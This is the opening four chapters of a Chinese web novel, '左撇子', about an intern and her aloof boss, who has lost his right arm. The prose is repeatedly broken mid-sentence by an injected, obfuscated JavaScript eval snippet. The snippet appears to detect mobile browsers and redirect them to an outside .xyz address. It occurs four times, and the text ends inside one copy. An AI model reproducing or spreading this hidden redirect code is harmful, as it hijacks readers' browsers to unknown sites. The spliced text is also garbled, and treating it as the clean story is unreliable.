《左撇子》 1. 这个老板不太好相处 “你好,许先生,我是今天来报到的实习生林棉。” 林棉紧张地伸出右手,坐在老板桌后的男人却明显没有要与她握手寒暄的意思。他的下巴微微抬起,深邃凌厉的眼睛停留在她的脸庞上,似乎在打量她。 林棉有些尴尬,又不知该不该缩回手去,她下意识地低垂了眼眸,视线恰好扫到桌上的金属铭牌,那上面镌着隶书的“许汀舟”三个字,并无职位介绍。但她知道,这个年纪轻轻的“许汀舟”就是“文心集团”的新任老总——她的老板。 她还没有正式从大学毕业,这是她的第一份实习工作。“文心”在校园招聘时承诺过,此次招聘的实习生,表现优异者是可以正式签约的。“文心”在本地算是知名企业,以文具工厂起家,经过多年发展,经营领域现已横跨多个行业,口碑相当不错。以林棉家里的情况,她比普通人更珍惜这样的机会,也因此在面对许汀舟的冷淡反应时,她特别心慌,生怕自己第一天上班就丢了饭碗。 “林小姐,我觉得有必要提醒你……”椅子上的男人终于开口,语气却是并不怎么友善,“在握手这件事上,当你面对比自己身份高或者年长的人时,最好等对方先伸手,这才是合乎礼仪的。” 他的话让林棉一阵脸红,一面讪讪地放下手,一面忍不住替自己辩解道:“是的,您说得对。我只是太紧张了。这是我的第一份工作,我不是太了解……”严格意义上,她倒也不是第一次打工,自进入大学后,每年暑假她都会去快餐店做小时工,只是那样的工作经历,没有教会她太多社交礼仪。 许汀舟面无表情,似乎对她的自我辩解不置可否,只简单地说了一个字:“坐。” 诶?不握手了吗? 林棉心里嘀咕,嘴上当然不敢说什么,道了声谢赶紧把椅子拉开一点,坐了下来。 “你的工作职责我的秘书苏心蕴应该已经和你谈过了,你主要是做她的下手。你没有工作经验,我想你能帮她的不多,主要是处理一些杂务,这些事情没有多少技术含量,相信你能够应对。” 呵呵。林棉心里笑了笑,脸上也露出了一个大大的笑容,只是二者含义迥然。 “我会努力的。”这句话说得倒是发自肺腑,她没有道理不努力,也没有资本不努力。 她还有小谷要养。 小谷……小谷这会在做什么呢? 她一时分神,直到许汀舟刻意地低咳了一声,才收回神来。 许汀舟似笑非笑地看着她,蓦地站起身,伸出手道:“欢迎你加入‘文心’。” 这一刻,林棉才发觉许汀舟的不同。 他朝她伸出的,是左手。 原来他是左撇子,怪不得刚才自己伸出右手时他的反应有点大。林棉倒有些不好意思了,忙伸出自己的左手,与他的左手握住。 “谢谢许先生。” 许汀舟点点头:“好了,你先去楼下找总务科的Lisa领一些文具,顺便帮我也领一套过来。这么小的事,不需要麻烦苏心蕴,你直接去就好了。” “好的,”她迟疑着问,“请问您需要点什么文具?” 许汀舟若有所思地看着她:“你看着办。” 林棉想起许汀舟刚才说的那句“这么小的事,不需要麻烦苏心蕴”,就不打算再细问了——对自己的秘书来说都算不值一提的小事,那么想必对他这个大老板来说就更不值得讨论下去了。不过是些小东西,宁可等下多领几件,有备无患,也就是了,遂不再多问,退出了许汀舟的办公室。 二十分钟后,她抱着一盒新领的文具走进许汀舟的办公室。 许汀舟看着她把装在纸盒里零零散散的文具一样样摆在他的桌上,眉头轻轻皱了起来。 林棉放下空纸盒,抬头看到他眼里的神色,心里咯噔了一下。 他什么也还没说,但已经足以让她感觉到,他对她的表现不太满意。 “请问,您还需要什么吗?”她怯怯地问了一句,心里一点底都没有。 “我需要我手下的人有一点观察力。”许汀舟头也不抬地说,“而你显然没有。” 林棉第一天上班就受到这样直白的近乎严苛的批评,心里既委屈又慌张。她完全不知道,自己哪里做错了。 在这尴尬的气氛中,有人敲门,随后进来的是许汀舟的秘书苏心蕴。咖啡的香气混合着淡淡的水百合香水味,让这办公室的氛围变得舒缓了一些。她把咖啡杯放到许汀舟的左手边,微微一笑,并没有说什么。 许汀舟的目光顿时柔和了许多。“你是来替你的师妹救驾的?”他挑挑眉,神情口吻竟皆是玩笑的意味,之前呛人的语气消失殆尽。 林棉和苏心蕴恰好毕业于同一间大学,虽然当中隔了好几届,彼此并不认识,但也算是师姐妹。 “许总,我只是觉得自己有教导新人的义务。更何况,林棉今后一段时间的主要工作是与我配合,我也想和她早点磨合好。” 许汀舟点头:“好,你带她出去工作吧。” 林棉跟着苏心蕴走出许汀舟的办公室。门合上的瞬间,她不由自主地长吁了一口气。 “他很有压迫感对不对?”苏心蕴拍拍她的肩膀,“其实没什么的,你主要是还没习惯与他相处。” 林棉真的很想任性地大喊一声:他这样的我没法习惯!可那样的念头只存在了半秒,便被她抛诸脑后了。想到苏心蕴刚才替自己说话,她感激道:“谢谢你,苏小姐。” “叫我心蕴或者Celine都可以。”苏心蕴温和地笑着说。 “许总怎么称呼你?” 苏心蕴的笑容深了一点,说:“你倒是学乖得很快。不过你别紧张,他这人虽然霸道,还不至于规定别人要按照他的喜好来称呼其他人。”她的眼底有一丝柔光,轻轻地接着道,“他自己比较习惯叫我的中文名字‘心蕴’。” “那我叫你心蕴姐,可以吗?” 得到点头的许可后,林棉问:“心蕴姐,你和许总共事很多年了?” 苏心蕴“嗯”了一声。 “难怪。”难怪许汀舟见到苏心蕴的态度比对她温和得多。“对了,心蕴姐,刚才许总说我没有观察力,这是为什么?” “你进去的时候,他有没有和你握过手?” “有。” “哪只手?” “左手。” “然后他让你去替他领文具了,是吗?” “是的。” “你领了些什么?” “许总没有指定领什么,我只是按照常规领了一些本子、笔、剪刀、美工刀……” “你有没有和Lisa说,你是替许总领文具?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800340|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “有什么不同吗?”林棉愣了一秒,作出恍如大悟状,“我知道了,如果我说是许总要领文具,Lisa给的东西会高级一点,对不对?” 苏心蕴笑着摇头:“你稍等一下。”说着,转身又去了许汀舟的办公室。 出来的,她的手里拿了一把剪刀。 “你好好看看,和你领回来的文具有什么不一样的地方。” 林棉接过剪刀,仔细打量起来,不多会儿她就明白了苏心蕴让她观察的目的。 这是一把特殊的剪刀:普通剪刀的刀刃是右上左下的組合,而这把剪刀,恰好相反。换言之,这是一把左手剪刀。 林棉的反应还不算太慢,当即领悟到了关键所在:“是我的失误。”她又道,“其实,就算我想到了这一点,也未必会去问总务科的人有没有左撇子专用的文具。” “为什么不问?”苏心蕴问。 “因为一般公司也不一定会想到给左撇子准备文具啊。” 苏心蕴的笑着摇头,语气仍然很温柔,却有自有一分不容质疑的威严感:“林师妹,坦白说,许总对你的评语不算冤枉。你的确缺乏一点观察力,而且,你还欠缺一点思考能力。你应该庆幸,当初许总没有选择亲自面试你。” 林棉并不恼她这么“批评”自己,她的直觉告诉她,苏心蕴这么说是为了她好,于是也乐得洗耳恭听教诲。 “首先,许汀舟并不是普通的员工;其次,我想你不会不知道,我们公司是以文具起家的,别的东西可能会缺,文具的种类却是最齐全的。这些你应该不难想到,不是吗?” 林棉无可反驳,只觉得对眼前这个比自己大不了几岁的苏心蕴衷心佩服。 都说“知错能改,善莫大焉”,于是她问:“那心蕴姐,要不我现在重新去楼下给许总拿一套新的文具来?” “那倒不用,我想,他只是对你进行一个小小的考验而已。事实上,除了签字笔,他也很少用其他文具。你记得下次给他领专用快干型的笔就好,普通的笔左撇子用起来很容易蹭脏手。”。” 所以,自己没有通过那个人的考验? 林棉感到挫败。 “你不是唯一一个没有通过考验的人。”苏心蕴拍拍她的肩膀,语气很轻松,似乎这种事很平常,无需太放在心上。 “许总每次都会用领文具这一招来考验人吗?” “当然不是。”苏心蕴笑得半眯起了眼睛,似乎沉浸在一些有趣的记忆片段里,“他的花样很多,普通人应付不来的。” 林棉道:“我猜,你肯定是顺利通过考验了。” 苏心蕴的笑容收了收,眼中有一丝复杂的情绪一闪而过:“他没这样考过我。” 林棉也只是随口一说,这一个早上她已经被新老板折腾得够呛,不仅自己的办公桌没有整理,连水也没有喝上一口。这会儿终于得空,她便和苏心蕴打了声招呼,拿上水杯去了茶水间。 苏心蕴看着林棉迈着快步几乎是冲向茶水间的身影,不觉一笑,起身敲响了许汀舟办公室的门。 “进。” 苏心蕴笑盈盈地走进来。许汀舟的办公椅是空着的。 她并不讶异,熟门熟路地走到左手边的一个房门前。 她没有叩门,只柔声问了句:“汀舟,现在方便进来吗?” 2. 空荡荡的衣袖 房门锁被旋开,许汀舟亲自过来开了门。 苏心蕴推门不是第一次看到那样的许汀舟:微微低着头看向她,带着一丝不易察觉的疲惫;白色的衬衣解着两颗纽扣,露出两小截线条停匀的锁骨来…… “怎么?第一天认识我?” 许汀舟自嘲地笑了笑,下意识般缩了缩肩膀。空荡荡的衬衫右袖被带动起来,小幅度地晃了晃。 苏心蕴的睫毛轻颤,像被什么细碎的玻璃屑刺了一下,那么多年了,每每看到这样的许汀舟,她还是会暗生叹息。 “身材很好。”最终她冲她粲然一笑。“需要我帮你把袖子挽起来吗?” “嗯,挽起来打个结方便一点。” 苏心蕴将他的衬衫右袖往上折起,又仔细地打好一个结:“其实今天你突然戴上美容手我还蛮意外的,你平时不都不喜欢戴的吗?” “不是喜不喜欢的问题,是没有必要。”许汀舟示意她向办公室外间走,自己则跟在她的后面走出来。 房间里铺着厚厚的地毯,苏心蕴几乎听不到身后有任何的脚步声。 然而她知道,他走得很慢:右腿先向前跨出一小步,左腿再拖着跟上。 因为他的左腿膝盖和脚踝几乎无法自由屈伸。 二十岁以后的他,就是这样走路的。 也是二十岁以后,他才变成了依靠左手做事的“左撇子”。 她看着他坐回自己的办公椅,脸上悄悄收起了方才那一瞬的情绪,这时才勉强有了心情和他谈笑。 “我以为你是因为今天有新人报到,怕她一时不习惯所以才那样穿的,心里还想,这小姑娘挺有面子,以前来人也不见你这样的。” “当然不会是为了她。”许汀舟抬眸看她,“我爸爸给我安排了相亲——今天中午。他建议我戴上那个东西,免得第一次见面就给人太大冲击。可我想了想,还是算了,突然戴上也不习惯。” 苏心蕴的上身略往前倾了倾,一只手抓住了许汀舟的桌角,轻轻地问了句:“你打算结婚了?” “我从没有说过自己是不婚主义者。”许汀舟平静地道,“既然要结婚,与其等待不知道什么时候到来的缘分,相亲反而是个比较直截了当节省时间和精力的途径。” “很像你的回答。”苏心蕴道,“那么我猜,比起气氛,不影响你的既定安排是你的首选,所以你选择中午而不是晚上约会,对吗?” “晚上我的确有事。”许汀舟笑着答,眉角却有几分微蹙,“而且,白天光线好,你不觉得比起气氛,让人能看清楚我更重要么?” “汀舟……”苏心蕴欲言又止。 “行了,心蕴,如果我怕别人看,就不会这样出来见人。”许汀舟从椅子上起身,慢慢挪到苏心蕴的跟前,俯下头看着她。“这个问题讨论暂时告一段落,如果有后续,你又想听我啰嗦的话,我可以找个时间说给你听。我想你进来应该不是为了跟我说这些事的吧?” 苏心蕴拢了拢头发,正色道:“是,我是想跟你说,赵富刚最近又有动作……” 赵富刚是许汀舟的亲姐夫。许汀舟就一个姐姐,两人的关系并不睦。 “心蕴,”他按着自己的太阳穴揉了揉,“今天不谈这个好么?今天是我姐姐的生日。我不想晚上吃饭的时候一时忍不住坏了气氛……” “头又疼了吗?”都不消他再说什么制止的话,只要一看到他这副皱着眉揉按太阳穴的模样,她也没有心思再说任何影响他情绪的话。那一次的惨祸,让他失去了一整条手臂、几乎毁掉了他的左腿,还伴随着此后不时发作的头疼病…… 他拉开抽屉,动作很娴熟地拿出一板药来,用左手指甲掐开胶囊的封膜后,倒出一颗在桌上,再捏起来吞掉。 “别乱吃止疼药。”说是这么说,苏心蕴却是第一时间把水杯送到他的唇边。 许汀舟接过杯子,喝了两口。“雷都劈不死我,几颗药丸还能要了我的命不成?” 他的口气轻飘飘的,似乎是随口说一句玩笑。 苏心蕴的指尖却颤了一下,慌乱地背过身去。 “对不起,”他的语气里有真诚的歉意,“我不该提这件事,毕竟你父亲也……” “没什么对不起的,只是觉得没有必要提而已。”她转过身道,“我先出去工作了。” 走到门边,她忽然回过身,问:“中午要我送你去吗?” 许汀舟托着腮,沉静地看了她一会儿,才说:“也好,免得于叔回家乱说。” 苏心蕴笑了笑,推门而出。 一上午,林棉在苏心蕴的指导下,把一些旧年不太重要却种类繁杂的文档归类,又打印了第二天要用的会议资料,全部装订妥帖后,已经是午餐时间。 林棉的座位并不挨着苏心蕴,而是离公共办公区比较近。她起身刚准备问苏心蕴去不去吃饭,却见她背起了坤包,很明显是准备外出的样子。 她思忖了一下,还是觉得自己不要多嘴询问比较好。倒是苏心蕴主动过来和她打了个招呼:“林棉,我中午要陪许总出去办点事,食堂在顶楼,刷员工卡就可以就餐。” 林棉谢过了她。 “小林,一起去吃饭呗。”和她打招呼的是沈乔。沈乔只比她大两三岁,是这间公司的出纳。小而圆的脸蛋很讨喜欢,待人也是很热情。两人早上在茶水间碰到,随口聊过几句,许是因为两人都是比较外向型的个性,年龄又相仿,因此简短谈天过后,彼此印象都不错。 林棉连忙答应,下意识地低头检查了一下员工卡是否挂在脖子上。抬起头的时候,只听见周围有好几个人人谦恭地对从对门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800341|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里出来的人打招呼道:“许总。” 她听到那两个字就有些紧张,嘴巴更是慢了一拍,等众人的声音都落地了,那声称谓才叫出口。 甚至,还被她吃掉了一个字。 因为她实在太震惊、太震惊了! 许汀舟竟然不是她以为的“左撇子”,而是一个完全没有右臂的人。 他的右臂只保留了肩关节往下一点点,似乎还有腋窝,将衬衫的袖子压出一点褶皱,随后便是瘪塌的一段,再往后便是一个打好的布结。 往后的几分钟里她的大脑几乎是空白的,甚至没有注意到熬许汀舟是否也和大家打了招呼,整个脑海里只有那个人给他下的严厉评语。现在这一刻,她不得不认:无论是许汀舟还是苏心蕴都没有说错,自己的观察力真的很有问题! 然后,当她发现许汀舟不甚方便的步态后,她感觉自己再一次受到了强烈冲击。 “你不知道?”等许汀舟和苏心蕴走远后,沈乔挽住林棉,凑在她耳边,用一种很惊疑的口吻小声道。 林棉好容易回过神来:“你是指……许总的手和腿?” “很可惜吧?真是天妒蓝颜!”沈乔把声音压得更低了几分,“不过,许总这样的男人,无论是健全还是残缺,都只适合远观。” 林棉的脑子不够转了,只能边跟着沈乔往电梯走,边静静地听她分析。 “如果他是健全的,那么对这世界上百分之九十九的女人来说,都是可望不可即的存在。可如果是现在这样的他,对这世上的多数女人来说,非但‘可望不可即’这一点没有改变,更糟糕的是,即便能够企及,可又该换自己放不下某些顾虑了。” 林棉不是完全听懂,但也并非完全不明白沈乔所指的顾虑。 “你不怕我卖了你?”林棉不晓得接什么话合适,只好和沈乔玩笑道。 “我不怕。”沈乔耸耸肩,“因为我和他有‘特殊关系’。” “啊?”“叮”地一声,电梯在林棉身前打开,而她却被沈乔的话惊得愣住不动了。 “瞧你吓的。”沈乔拉她进了电梯,直到电梯门在抵达顶楼后打开,里面出来的人走散了后,她才乐呵呵地继续说道,“想歪了?我呀,真不担心你告发我什么,即使你说了,我想他也不会把我怎么样,因为他这个人分得清好歹,我的话虽然不中听,却是很实在的。而且,他最好的朋友,是我的未婚夫,我认识他的年头,大概和苏心蕴差不多长。” “苏心蕴什么时候认识许总的?”沈乔的话信息量很大,林棉还来不及一一消化,只顾得上凭直觉问了这一句。 “应该是他出意外受伤以后。”沈乔道,“大约是他二十来岁的时候。” “什么样的意外?” 沈乔的眼中闪过一丝怜惜的情绪:“雷击。” 3. 深深巷里浅浅心事 车子从闹市区拐进一条林荫小道。这条街虽然仍处于闹市区,却不见熙攘,以居民楼为主。许汀舟让苏心蕴在一个名叫“芳华里”的老式连排洋房小区门口停了车。红砖牌楼下的铁门敞开了半扇,通向几排深深的巷道,左右一水儿是清水红砖的公寓楼。 苏心蕴将车子歇火后诧异道:“你和人约的这里?” 许汀舟道:“公司附近不太方便,恰好不久前和朋友在这里的一家私房菜馆吃过饭,味道出奇得好,地方又清净,我就干脆订的这里。”他望向她,淡淡地又道,“下次有机会我可以带你来试试。你别看这里环境简陋,挡不住口碑在外,还蛮难约的。” 苏心蕴挂着一丝笑意道:“没想到你还挺上心的嘛。” 许汀舟仍旧一副淡淡的口吻:“对谁?” 他的眼睛里有一瞬的光芒微露,苏心蕴却迅速躲开了。 他的鼻腔里轻轻舒了一口气,喉结滚动了一下:“你觉得我应该去吗?” “去哪儿?”苏心蕴低低地追问了一句。 许汀舟略侧过身,左手把住了车门把手,却没有立即推开车门。他似乎斟酌了一下才开口:“你明知道……” 苏心蕴的心剧烈地跳动了起来,她甚至觉得自己已经伸手阻拦住了身边的这个男人。可是她没有,她最终还是定定地坐在驾驶座上,看着他朝着巷子深处走远。 一步一步,右腿拖着左腿。 右边的衣袖随着他的脚步晃动得很忧伤。 她别过眼去,眼泪无声流下。 午休过后,林棉再次见到许汀舟的时候,忍不住多看了他几眼。她这时才看清楚这个男人几分:他长得不难看,也并不是凶神恶煞的样子,他的眼睛很清澈,鼻梁很挺,嘴唇不厚也不薄,头发和眉毛都很浓密,衬衫的领口露出很漂亮的锁骨,胸膛宽阔,小腹平坦。他有着挺拔的身材,如果不是缺失了一条手臂,几乎可以说是完美的。林棉有点明白沈乔所言的“可望不可即”的意思了。 看着他走进自己的办公室时那蹒跚的脚步,林棉不由蹙起了眉。 那个人,也很不容易吧。 “那个时候他在上大学,暑假的时候,他爸爸带他去高尔夫球场练球。谁知道,就这么不巧,遇上了雷雨天。雨还没下下来,闪电把他给击中了。当时我未婚夫也在场,许汀舟被抢救了好几天才救回来。先是要确保保命,然后再考虑尽量保留肢体。他的右臂当时就保不住了,左腿是好不容易才保下来的。那个时候,我和汪豫——哦,就是我未婚夫不知道哭掉了多少眼泪。大家都是认识多年的好朋友,汪豫又更是他从小玩到大的兄弟,他没醒的时候,我们哭,他醒了,我们跟着他一起哭……” 许汀舟受伤的经历让林棉也快听哭了。可是她忍不住问沈乔,为什么要把这些私事告诉她一个初来乍到的实习生。 对此,沈乔的回答让她大跌眼镜:“不好意思哦,我前几天找许汀舟签字的时候,正好汪豫在把你们这批实习生的资料给他看。可能是因为私下里太熟了,他们谈话的时候没有避讳我,我也就听了几句。听说你在大一的时候领养了一个弃婴,我当时就觉得,你一定是个特别有爱心的好姑娘。” 沈乔说到这里的时候,林棉才反应过来,汪豫好像是“文心”的HR总监。 关于收养弃婴……林棉苦笑,这件事一言难尽加一时冲动,她也不知道自己算是有爱心还是没头脑…… 但是有一点林棉觉得很奇怪,当即问沈乔:“可我填资料的时候,并没有说我的孩子是我收养的弃婴啊。” 沈乔道:“我们公司是在你们校园做的招聘,你们学校的老师还挺负责的,跟HR交流过你的情况。汪豫私下里和我说,只要你的各方面条件不比别的候选人差,他是一定会优先录用你的。”沈乔接下来的这一句让林棉更是惊讶,“许汀舟也赞同他的意见,他说,你比起其他人更需要这份工作,也比其他人更值得拥有一份好工作。” 许汀舟?这样感性的话语,是那个看上去冷冰冰的、公事公办脸的许汀舟说的吗? 沈乔还说:“早上你从他办公室出来后,你和苏心蕴的对话我听到了一些。我知道你初来乍到,对于许汀舟的脾性还不太习惯。我不想你因为许汀舟的待人处事方式对他这个人存有误解。他不擅长表现得和蔼可亲,但他其实不像他的外表那样没有人情味。你值得得到这份工作,而他也值得你更用心的为他工作。你这个职位虽然不高,却是有留任机会的,这意味着你今后可能会长期与他正面打交道。他在公司表面风光无限,其实撑得很不容易,方方面面的压力都很大,以前有苏心蕴从旁协助他,以后又多了一个你。你不要小看自己,许汀舟身边的员工,应该都是不容小觑的。” 许汀舟应该是个好人吧?林棉想。否则,不会有人如此用心地维护着他的形象、在乎他的感受。看得出来,苏心蕴和沈乔对待许汀舟的关心已经远远超出了普通上下级的关系。 林棉望着那扇紧闭的房门发呆了一会儿,直到桌上的电话响起,她才回过神来,慌忙接起电话。 “给我一杯咖啡,谢谢。” 许汀舟的声音隔着电话听来更加具有磁性,礼貌而又疏离。林棉莫名地心跳加速,也不知是由于刚才的几分钟里脑子里转的都是这个人的事,突然接到电话有点“心虚”,还是因为早上许汀舟的态度让她“心有余悸”,她立即调整好心情和语气,回复道:“好的,许总。”想了想,终究还是问了出来,“不好意思,我还不晓得您喝咖啡的口味,糖和奶都要吗?” 许汀舟说:“提神而已,黑咖啡就好,要浓一点的。” “好的。”她没有耽搁,立即起身去了茶水间。 林棉将泡好的咖啡杯放到了许汀舟的左手边,还有一小碟装好的苏打饼干。 他看了她一眼:“谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800342|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “咖啡我按照您说的,泡得很浓。不过,”林棉顿了顿,还是鼓起勇气说了出来,“我见您早上已经喝了一杯咖啡了,这样浓的咖啡单喝很伤胃,因此我还给您拿了点苏打饼干。” 许汀舟似笑非笑地盯着她的眼睛:“半天不见,简直判若两人。可会不会太刻意了一点?” “刻意什么?”林棉一时没压住性子,“你的意思是,我在刻意讨好你吗?” “讨好自己的老板并不算什么丢人的事,你的反应不用那么大。” 林棉不说话了,视线却没有挪开,反而越发迎上他的眼。 “你想说什么?”许汀舟挑眉道。 林棉一咬牙:“我没有在讨好你,我只是在学习做一个合格的下属。你早上对我的评价我都接受,而接受的最佳态度,我认为是立即更正自己的错误、补全自己的不足。所以,我试着站在你的角度来看待你的需求。——仅此而已。如果我讨好了你,那也只是凑巧。” 他不言不语地看了她几乎有一分钟。她看不出他心底的情绪,便有些暗悔自己的冲动。但为了防止自己越描越黑激怒于他,她选择了保持沉默。 蓦地他微笑起来,眉目狭长,神情舒展:“很‘凑巧’——你讨好了我,谢谢你的咖啡和饼干。” 林棉再三确认他的神情,发现他的话似乎是真心的。 “如果之前或以后我有什么说得不妥或做得不妥的地方,你也大可以直接告诉我。我这个人缺点不少,脾气尤坏,但并非不通情理。其实我想了想早上的事,你固然表现得有缺憾,我却也对你苛责了些。毕竟,你对我的情况并不了解,没有想到一些细节也是正常的。”仿佛下意识般,他侧低下头看了看自己的右肩,“早上你到我办公室时,因为我戴了义肢,你可能压根没有发现我的残缺,所以你之后的表现,也不能全怪你粗心。” 他的语气平和、真诚,让林棉意外而感动。特别是他提到自己“残缺”这两个字的时候,她觉得自己的心被小针勾了一下。“许总,即便如此,在您和我握手的那刻,我也应该知道,你惯用的是左手。说到底,还是我自己欠考虑。” 许汀舟端起咖啡,呷了一口:“也许日后你还会失误,还会为你的‘欠考虑’遭我责备,可我不得不说,你泡的咖啡不错。” “许总,你第一次夸我诶!”林棉笑得好开心。 “并不会因为你咖啡泡的好给你加薪。”许汀舟一本正经脸。 “嘻嘻嘻。”林棉笑得更欢了。 “也不会仅仅因为这点就把你转正。” “哦。”林棉依然堆着笑。 “可是会给你的考核加分。”他的语气依然认真,唇角却微微翘起。 林棉呆住了,她发现,那个给人第一印象酷酷的许汀舟,竟然有一双带笑的眼睛。 ——明亮、清透,没有任何防备,仿佛藏不住任何心事。 4. 棉花谷子蔷薇架 林棉回到家的时候,林妈妈正在哄小谷吃饭。小谷一见妈妈回来了,饭也无心吃了,直嚷嚷着要妈妈抱抱。 林棉见孩子这样,来不及放下包就跨步前去把女儿抱了起来,亲了好几口。林妈妈在一旁嗔怪道:“原本吃得好好的,你一来,饭也不晓得吃了。也不知道先去洗个手换身衣服再来!” 林棉乖巧地应了声“哦”,放下小谷去了洗手间。 林妈妈在外间嘟囔:“瞧瞧,自己还是个孩子脾性,领个孩子回来当是玩儿呢,当妈哪有那么简单?你以为是你早晚两遍逗个乐就能把孩子拉扯大的?” 林棉在洗手间里听到了,也不敢回嘴。她这个妈妈虽然啰嗦,说话却不无道理。当年自己不过是个大一的学生,出于热心在火车站前替人看了会儿孩子,谁想那个妇人竟然是有心一去不复返。林棉一时心软,便把孩子接回了家,养着养着便舍不得脱手了。起先她还担心这孩子是不是有什么先天疾病所以才被遗弃,所幸孩子很健康,大约只是因为父母有什么苦衷亦或仅仅因为是个女孩儿才被亲生父母舍弃。 林棉最初决定/领养/孩子的时候,林妈妈是反对的。她的父亲早逝,母亲也只是物业管理公司的小职员,家境中等偏下。更何况,她自己还是个学生,又是个女孩子,拖着这么一个孩子,将来婚嫁都受影响。可这件事林棉却仿佛是铁了心的。其实,林棉也知道,母亲与这孩子朝夕相处,嘴上虽硬,心里毕竟舍不得。总而言之,最后,孩子留在了林家,“小谷”这个名字还是林妈妈给起的,林棉对此笑说“这下好了,棉花谷子都有了,吃饱穿暖齐全了。” 林棉回到饭厅里,见桌上已经为她摆好碗筷,知道妈妈只是嘴硬,心里还是疼她的,忍不住微笑起来,撒娇道:“妈,你辛苦啦!我这也是没办法,麻烦你照顾了小谷这么多年。双休日我哪儿也不去,就在家带孩子。” 林妈妈不满道:“天天不是上班就是在家,哪天才能嫁出去?” 这个话题一旦展开,便难以短暂结束。林棉只敢往嘴里扒饭,不敢接话。 林妈妈果然没有转换话题的意思,继续道:“我现在也退休了,帮你带带小谷也没什么,你还是得多出去看看,别耽搁了自己的终身大事。咱家这情况,你眼界别太高了。要是遇到合适的人,人家又有顾虑,你就把话撂给他,你将来结婚,小谷可以放在我这里养,我还不算老,养到小谷十八岁都不成问题,这孩子不碍着你们的生活。只要你好……” “妈!”林棉忍不住打断她,“别说啦,小谷还在呢,孩子听到这种话不好。” 林妈妈叹了口气,爱怜地望了眼身边的小人儿,不说话了。 许汀舟的车子缓缓开到许宅的大铁门口,大门很快被敞开,车子缓缓开了进去。 许汀舟等司机于叔把车子停稳后下车。泊车位旁边有一架蔷薇,他记得上一次回家的时候,还热热闹闹开满了蔷薇,如今却都谢了。他平时单独住在公司附近的一栋酒店式公寓里,难得回家,许家大宅则是姐姐姐夫一家和父亲许远山同住。赵富刚是许家入赘的女婿,和许汀兰结婚已经八年,两人育有一子,今年刚上小学。许父曾劝说许汀舟回家里住,终究拗不过他。加之许远山也知晓他们姐弟俩之间的芥蒂,便也就不多勉强他搬出去住的决定了。 “汀舟来了。”许汀舟望着蔷薇架上随风而动的叶片楞神,直到有人从背后招呼他,他才晃过神来。 “富刚。”许汀舟向来对赵富刚直呼其名,“你们久等了吧?”他寒暄着,话里没有多少温度。 “没有,你是大忙人,等这一会儿算什么?”赵富刚倒显得很热络地拍拍他的右肩膀。许汀舟右边折起的袖管随着赵富刚的动作晃了晃。他蹙了蹙眉,微微躲了一下,赵富刚讪讪地假笑了几分,垂下手道:“一起进去吧,开饭了。” “姐,生日快乐!”让一旁的于叔递过准备的礼盒,交给许汀兰。 许汀兰淡淡地应了句“谢谢”,让赵富刚接过礼物,收放一边。 “还挺沉的!”赵富刚堆着笑把礼盒放到茶几上,冲着许汀兰挤眉弄眼:“汀兰,弟弟的一片心意,你不打开看看?” 许汀兰道:“一个人的心意不是光用看就能看得清的,你说是不是,汀舟?” 不待许汀舟接话,只听父亲许远山干咳了一声,从沙发上起身走过来,“好了,你们站着说半天话不嫌累啊?快过来坐下吃饭吧。” 许汀兰哼了一口气,道:“呵呵,爸爸果然心疼儿子。我们其他人站久了倒没什么,汀舟毕竟腿不好,怕是站不动了。” 许远山脸上的表情是在强行克制着即将发怒的情绪,许汀舟则一言不发地走向餐桌。 “汀兰,我希望一家人能开开心心地为你庆生,你也要适可而止。”许远山压低了声音对自己的女儿道。“他是你亲弟弟。” “我有说错什么吗?”许汀兰不顾丈夫的阻拦,红了眼嘶吼道,“你不能太偏心!” “姐,”许汀舟扶着餐桌的桌角,沉着声说,“如果你那么不欢迎我回来,我也可以不回来。” “你哪里也不准去!”许远山高嚷道,“这里是你的家,谁也没有资格让你走!” 许汀兰冷笑一声:“汀舟,你可以想走就走,想留就留!爸爸永远会给你最大的自由选择度。你以前痴迷于绘画、雕塑、琉璃,爸爸就认为你是个天才艺术家,给你请最好的老师,也不逼迫你继承家业;后来你出了事,做天才艺术家是没希望了,爸爸又迫不及待地想把家业转交到你的手上!真好啊!你总有路可走!可我呢?在你开开心心做你喜欢做的事的时候,我却放弃了自己的绘画梦想,去学商科;许家的家业只能姓许,所以我只能找一个愿意入赘的丈夫!看,我多么听话,我应该是个好姐姐吧?我原本就已经抱着这一生是为了成全你而活的觉悟。可是,我得到了什么?爸爸只看得到你丢掉的一条胳膊半条腿,却看不到我的牺牲,又或者是看到了也根本不在乎! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 